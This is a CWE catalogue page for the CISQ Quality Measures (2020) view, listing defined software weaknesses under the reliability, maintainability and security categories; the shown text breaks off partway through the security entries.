CWE VIEW: CISQ Quality Measures (2020)
This view outlines the most important software quality issues as identified by the Consortium for Information & Software Quality (CISQ) Automated Quality Characteristic Measures, released in 2020. These measures are derived from Object Management Group (OMG) standards.
The following graph shows the tree-like relationships between
weaknesses that exist at different levels of abstraction. At the highest level, categories
and pillars exist to group weaknesses. Categories (which are not technically weaknesses) are
special CWE entries used to group weaknesses that share a common characteristic. Pillars are
weaknesses that are described in the most abstract fashion. Below these top-level entries
are weaknesses are varying levels of abstraction. Classes are still very abstract, typically
independent of any specific language or technology. Base level weaknesses are used to
present a more specific type of weakness. A variant is a weakness that is described at a
very low level of detail, typically limited to a specific language or technology. A chain is
a set of weaknesses that must be reachable consecutively in order to produce an exploitable
vulnerability. While a composite is a set of weaknesses that must all be present
simultaneously in order to produce an exploitable vulnerability.
Show Details:
1305 - CISQ Quality Measures (2020)
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability)
Weaknesses in this category are related to the CISQ Quality Measures for Reliability. Presence of these weaknesses could reduce the reliability of the software.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer)
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Buffer Overflow
buffer overrun
memory safety
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
125
(Out-of-bounds Read)
The product reads data past the end, or before the beginning, of the intended buffer.
OOB read
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
130
(Improper Handling of Length Parameter Inconsistency)
The product parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.
length manipulation
length tampering
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
786
(Access of Memory Location Before Start of Buffer)
The product reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
787
(Out-of-bounds Write)
The product writes data past the end, or before the beginning, of the intended buffer.
Memory Corruption
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
787
(Out-of-bounds Write) >
120
(Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'))
The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer.
Classic Buffer Overflow
Unbounded Transfer
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
787
(Out-of-bounds Write) >
123
(Write-what-where Condition)
Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
788
(Access of Memory Location After End of Buffer)
The product reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
805
(Buffer Access with Incorrect Length Value)
The product uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
822
(Untrusted Pointer Dereference)
The product obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
823
(Use of Out-of-range Pointer Offset)
The product performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer.
Untrusted pointer offset
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
824
(Access of Uninitialized Pointer)
The product accesses or uses a pointer that has not been initialized.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
825
(Expired Pointer Dereference)
The product dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.
Dangling pointer
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
170
(Improper Null Termination)
The product does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
252
(Unchecked Return Value)
The product does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
390
(Detection of Error Condition Without Action)
The product detects a specific error, but takes no actions to handle the error.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
394
(Unexpected Status Code or Return Value)
The product does not properly check when a function or operation returns a value that is legitimate for the function, but is not expected by the product.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
404
(Improper Resource Shutdown or Release)
The product does not release or incorrectly releases a resource before it is made available for re-use.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
404
(Improper Resource Shutdown or Release) >
401
(Missing Release of Memory after Effective Lifetime)
The product does not sufficiently track and release allocated memory after it has been used, making the memory unavailable for reallocation and reuse.
Memory Leak
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
404
(Improper Resource Shutdown or Release) >
772
(Missing Release of Resource after Effective Lifetime)
The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
404
(Improper Resource Shutdown or Release) >
775
(Missing Release of File Descriptor or Handle after Effective Lifetime)
The product does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
424
(Improper Protection of Alternate Path)
The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
459
(Incomplete Cleanup)
The product does not properly "clean up" and remove temporary or supporting resources after they have been used.
Insufficient Cleanup
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
476
(NULL Pointer Dereference)
The product dereferences a pointer that it expects to be valid but is NULL.
NPD
null deref
NPE
nil pointer dereference
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
480
(Use of Incorrect Operator)
The product accidentally uses the wrong operator, which changes the logic in security-relevant ways.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
484
(Omitted Break Statement in Switch)
The product omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
562
(Return of Stack Variable Address)
A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
595
(Comparison of Object References Instead of Object Contents)
The product compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
595
(Comparison of Object References Instead of Object Contents) >
1097
(Persistent Storable Data Element without Associated Comparison Control Element)
The product uses a storable data element that does not have
all of the associated functions or methods that are necessary to support
comparison.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
595
(Comparison of Object References Instead of Object Contents) >
597
(Use of Wrong Operator in String Comparison)
The product uses the wrong operator when comparing a string, such as using "==" when the .equals() method should be used instead.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization)
The product utilizes multiple threads or processes to allow temporary access to a shared resource that can only be exclusive to one process at a time, but it does not properly synchronize these actions, which might cause simultaneous accesses of this resource by multiple threads or processes.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization) >
1058
(Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element)
The code contains a function or method that
operates in a multi-threaded environment but owns an unsafe non-final
static storable or member data element.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization) >
1096
(Singleton Class Instance Creation without Proper Locking or Synchronization)
The product implements a Singleton design pattern but does not use appropriate locking or other synchronization mechanism to ensure that the singleton class is only instantiated once.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization) >
366
(Race Condition within a Thread)
If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization) >
543
(Use of Singleton Pattern Without Synchronization in a Multithreaded Context)
The product uses the singleton pattern when creating a resource within a multithreaded environment.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization) >
567
(Unsynchronized Access to Shared Data in a Multithreaded Context)
The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization) >
667
(Improper Locking)
The product does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization) >
764
(Multiple Locks of a Critical Resource)
The product locks a critical resource more times than intended, leading to an unexpected state in the system.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization) >
820
(Missing Synchronization)
The product utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization) >
821
(Incorrect Synchronization)
The product utilizes a shared resource in a concurrent manner, but it does not correctly synchronize access to the resource.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
662
(Improper Synchronization) >
833
(Deadlock)
The product contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
665
(Improper Initialization)
The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
665
(Improper Initialization) >
456
(Missing Initialization of a Variable)
The product does not initialize critical variables, which causes the execution environment to use unexpected values.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
665
(Improper Initialization) >
457
(Use of Uninitialized Variable)
The code uses a variable that has not been initialized, leading to unpredictable or unintended results.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
672
(Operation on a Resource after Expiration or Release)
The product uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
672
(Operation on a Resource after Expiration or Release) >
415
(Double Free)
The product calls free() twice on the same memory address.
Double-free
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
672
(Operation on a Resource after Expiration or Release) >
416
(Use After Free)
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.
Dangling pointer
UAF
Use-After-Free
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
681
(Incorrect Conversion between Numeric Types)
When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
681
(Incorrect Conversion between Numeric Types) >
194
(Unexpected Sign Extension)
The product performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
681
(Incorrect Conversion between Numeric Types) >
195
(Signed to Unsigned Conversion Error)
The product uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
681
(Incorrect Conversion between Numeric Types) >
196
(Unsigned to Signed Conversion Error)
The product uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
681
(Incorrect Conversion between Numeric Types) >
197
(Numeric Truncation Error)
Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
682
(Incorrect Calculation)
The product performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
682
(Incorrect Calculation) >
131
(Incorrect Calculation of Buffer Size)
The product does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
682
(Incorrect Calculation) >
369
(Divide By Zero)
The product divides a value by zero.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
703
(Improper Check or Handling of Exceptional Conditions)
The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
703
(Improper Check or Handling of Exceptional Conditions) >
248
(Uncaught Exception)
An exception is thrown from a function, but it is not caught.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
703
(Improper Check or Handling of Exceptional Conditions) >
391
(Unchecked Error Condition)
[PLANNED FOR DEPRECATION. SEE MAINTENANCE NOTES AND CONSIDER CWE-252, CWE-248, OR CWE-1069.] Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
703
(Improper Check or Handling of Exceptional Conditions) >
392
(Missing Report of Error Condition)
The product encounters an error but does not provide a status code or return value to indicate that an error has occurred.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
704
(Incorrect Type Conversion or Cast)
The product does not correctly convert an object, resource, or structure from one type to a different type.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
758
(Reliance on Undefined, Unspecified, or Implementation-Defined Behavior)
The product uses an API function, data structure, or other entity in a way that relies on properties that are not always guaranteed to hold for that entity.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
835
(Loop with Unreachable Exit Condition ('Infinite Loop'))
The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
908
(Use of Uninitialized Resource)
The product uses or accesses a resource that has not been initialized.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1045
(Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor)
A parent class has a virtual destructor method, but the parent has a child class that does not have a virtual destructor.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1051
(Initialization with Hard-Coded Network Resource Configuration Data)
The product initializes data using hard-coded values that act as network resource identifiers.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1066
(Missing Serialization Control Element)
The product contains a serializable data element that does not
have an associated serialization method.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1070
(Serializable Data Element Containing non-Serializable Item Elements)
The product contains a serializable, storable data element such as a field or member,
but the data element contains member elements that are not
serializable.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1077
(Floating Point Comparison with Incorrect Operator)
The code performs a comparison such as an
equality test between two float (floating point) values, but
it uses comparison operators that do not account for the
possibility of loss of precision.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1079
(Parent Class without Virtual Destructor Method)
A parent class contains one or more child classes, but the parent class does not have a virtual destructor method.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1082
(Class Instance Self Destruction Control Element)
The code contains a class instance that calls the method or function to delete or destroy itself.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1083
(Data Access from Outside Expected Data Manager Component)
The product is intended to manage data access through a particular data manager component such as a relational or non-SQL database, but it contains code that performs data access operations without using that component.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1087
(Class with Virtual Method without a Virtual Destructor)
A class contains a virtual method, but the method does not have an associated virtual destructor.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1088
(Synchronous Access of Remote Resource without Timeout)
The code has a synchronous call to a remote resource, but there is no timeout for the call, or the timeout is set to infinite.
1305
(CISQ Quality Measures (2020)) >
1306
(CISQ Quality Measures - Reliability) >
1098
(Data Element containing Pointer Item without Proper Copy Control Element)
The code contains a data element with a pointer that does not have an associated copy or constructor method.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability)
Weaknesses in this category are related to the CISQ Quality Measures for Maintainability. Presence of these weaknesses could reduce the maintainability of the software.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
407
(Inefficient Algorithmic Complexity)
An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.
Quadratic Complexity
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
478
(Missing Default Case in Multiple Condition Expression)
The code does not have a default case in an expression with multiple conditions, such as a switch statement.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
480
(Use of Incorrect Operator)
The product accidentally uses the wrong operator, which changes the logic in security-relevant ways.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
484
(Omitted Break Statement in Switch)
The product omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
561
(Dead Code)
The product contains dead code, which can never be executed.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
570
(Expression is Always False)
The product contains an expression that will always evaluate to false.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
571
(Expression is Always True)
The product contains an expression that will always evaluate to true.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
783
(Operator Precedence Logic Error)
The product uses an expression in which operator precedence causes incorrect logic to be used.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1041
(Use of Redundant Code)
The product has multiple functions, methods, procedures, macros, etc. that
contain the same code.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1045
(Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor)
A parent class has a virtual destructor method, but the parent has a child class that does not have a virtual destructor.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1047
(Modules with Circular Dependencies)
The product contains modules in which one module has references that cycle back to itself, i.e., there are circular dependencies.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1048
(Invokable Control Element with Large Number of Outward Calls)
The code contains callable control elements that
contain an excessively large number of references to other
application objects external to the context of the callable,
i.e. a Fan-Out value that is excessively large.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1051
(Initialization with Hard-Coded Network Resource Configuration Data)
The product initializes data using hard-coded values that act as network resource identifiers.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1052
(Excessive Use of Hard-Coded Literals in Initialization)
The product initializes a data element using a hard-coded
literal that is not a simple integer or static constant element.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1054
(Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer)
The code at one architectural layer invokes code that resides
at a deeper layer than the adjacent layer, i.e., the invocation skips at least one
layer, and the invoked code is not part of a vertical utility layer that can be referenced from any horizontal layer.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1055
(Multiple Inheritance from Concrete Classes)
The product contains a class with inheritance from more than
one concrete class.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1062
(Parent Class with References to Child Class)
The code has a parent class that contains references to a child class, its methods, or its members.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1064
(Invokable Control Element with Signature Containing an Excessive Number of Parameters)
The product contains a function, subroutine, or method whose signature has an unnecessarily large number of
parameters/arguments.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1074
(Class with Excessively Deep Inheritance)
A class has an inheritance level that is too high, i.e., it
has a large number of parent classes.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1075
(Unconditional Control Flow Transfer outside of Switch Block)
The product performs unconditional control transfer (such as a
"goto") in code outside of a branching structure such as a switch
block.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1079
(Parent Class without Virtual Destructor Method)
A parent class contains one or more child classes, but the parent class does not have a virtual destructor method.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1080
(Source Code File with Excessive Number of Lines of Code)
A source code file has too many lines of
code.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1084
(Invokable Control Element with Excessive File or Data Access Operations)
A function or method contains too many
operations that utilize a data manager or file resource.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1085
(Invokable Control Element with Excessive Volume of Commented-out Code)
A function, method, procedure, etc. contains an excessive amount of code that has been
commented out within its body.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1086
(Class with Excessive Number of Child Classes)
A class contains an unnecessarily large number of
children.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1087
(Class with Virtual Method without a Virtual Destructor)
A class contains a virtual method, but the method does not have an associated virtual destructor.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1090
(Method Containing Access of a Member Element from Another Class)
A method for a class performs an operation that directly
accesses a member element from another class.
1305
(CISQ Quality Measures (2020)) >
1307
(CISQ Quality Measures - Maintainability) >
1095
(Loop Condition Value Update within the Loop)
The product uses a loop with a control flow condition based on
a value that is updated within the body of the loop.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security)
Weaknesses in this category are related to the CISQ Quality Measures for Security. Presence of these weaknesses could reduce the security of the software.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
22
(Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'))
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Directory traversal
Path traversal
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
22
(Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) >
23
(Relative Path Traversal)
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.
Zip Slip
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
22
(Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) >
36
(Absolute Path Traversal)
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
77
(Improper Neutralization of Special Elements used in a Command ('Command Injection'))
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
Command injection
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
77
(Improper Neutralization of Special Elements used in a Command ('Command Injection')) >
624
(Executable Regular Expression Error)
The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
77
(Improper Neutralization of Special Elements used in a Command ('Command Injection')) >
78
(Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'))
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
Shell injection
Shell metacharacters
OS Command Injection
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
77
(Improper Neutralization of Special Elements used in a Command ('Command Injection')) >
88
(Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'))
The product constructs a string for a command to be executed by a separate component
in another control sphere, but it does not properly delimit the
intended arguments, options, or switches within that command string.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
77
(Improper Neutralization of Special Elements used in a Command ('Command Injection')) >
917
(Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection'))
The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.
EL Injection
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
89
(Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'))
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
SQL injection
SQLi
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
89
(Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) >
564
(SQL Injection: Hibernate)
Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
90
(Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection'))
The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
91
(XML Injection (aka Blind XPath Injection))
The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
99
(Improper Control of Resource Identifiers ('Resource Injection'))
The product receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.
Insecure Direct Object Reference
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer)
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Buffer Overflow
buffer overrun
memory safety
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
125
(Out-of-bounds Read)
The product reads data past the end, or before the beginning, of the intended buffer.
OOB read
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
130
(Improper Handling of Length Parameter Inconsistency)
The product parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.
length manipulation
length tampering
1305
(CISQ Quality Measures (2020)) >
1308
(CISQ Quality Measures - Security) >
119
(Improper Restriction of Operations within the Bounds of a Memory Buffer) >
786
(Access of Memory Location Before Start of Buffer)
The product reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.
1305
